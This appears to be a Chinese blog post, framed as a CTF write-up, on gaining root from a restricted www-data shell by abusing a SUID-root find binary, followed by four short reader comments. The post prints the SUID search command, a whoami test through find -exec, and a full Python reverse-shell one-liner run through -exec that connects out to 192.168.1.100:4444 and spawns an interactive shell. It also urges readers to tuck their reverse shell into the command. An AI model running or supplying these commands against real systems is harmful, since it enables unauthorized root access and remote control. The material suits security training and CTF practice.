遇到受限shell时如何用find反弹root

4 人参与

前几天我在一个CTF练习环境里,意外拿到一个只剩 www-data 权限的交互式shell,连 sudo 都没有,真是尴尬到不行。翻遍系统后,我的眼睛突然被一行 -perm -4000 的输出吸引——原来 /usr/bin/find 竟然是 SUID root!那一瞬间,我几乎听见自己的心跳加速。

遇到受限shell时如何用find反弹root

find – 逆向提权的秘密武器

别小看 find,它本身是用来遍历文件的,却暗藏 -exec 参数,让你可以在遍历的每个文件上执行任意命令。因为它是 SUID root,-exec 的每一次执行都天然提升到 root 权限,这正是我们要利用的突破口。

# 快速定位系统里所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null

定位到 /usr/bin/find 后,我先确认它真的可以以 root 身份执行 -exec。只需要随便找个文件,跑一次 whoami,结果直接返回 root,这一步简直是给自己打了个强心针。

# 用 find 直接执行 whoami
/usr/bin/find . -maxdepth 1 -exec whoami ;

确认后,我决定让它帮我拉一个反弹 shell。目标机器上装有 Python 2.7,我直接在 -exec 里塞进一段单行 Python 代码,让它主动连接回我的监听端口。整个过程只用了几行命令,却把受限的 www-data 推上了 root。

# 让 find 触发 Python 反弹
/usr/bin/find . -maxdepth 1 -exec python -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("192.168.1.100",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])' ;

监听端马上收到了一个完整的 /bin/sh -i,而且 id 的输出表明我已经是 root。那一刻,我忍不住笑出声来——原本只能在网页里点点的受限账号,竟然被一条 find 命令玩得团团转。

如果你也遇到类似的受限 shell,记得先用 find / -perm -4000 把所有 SUID 二进制都捞出来,别忘了检查一下 -exec 能否正常运行。稍微改动一下命令行,把你的 reverse shell 藏进去,根本不需要任何额外的二进制文件。

玩转 SUID 的关键就在于「能执行」和「能写入」的平衡,find 正好把这两点结合得恰到好处。下次再碰到受限 shell,先看看系统里有没有这把「钥匙」——说不定就能直接把自己送上 root 的宝座。

参与讨论

4 条评论
  • 小蜜蜂

    find这个技巧在实战中确实好用,遇到suid文件就有戏了

    回复
  • 糖果小乌龟

    之前用这个方法在测试环境成功了,不过python版本要注意兼容

    回复
  • 夜蚀圣殿

    -exec参数居然能这样玩,学到了新思路

    回复
  • 话痨的反面

    为什么一定要用-maxdepth 1?不用这个参数会怎样?

    回复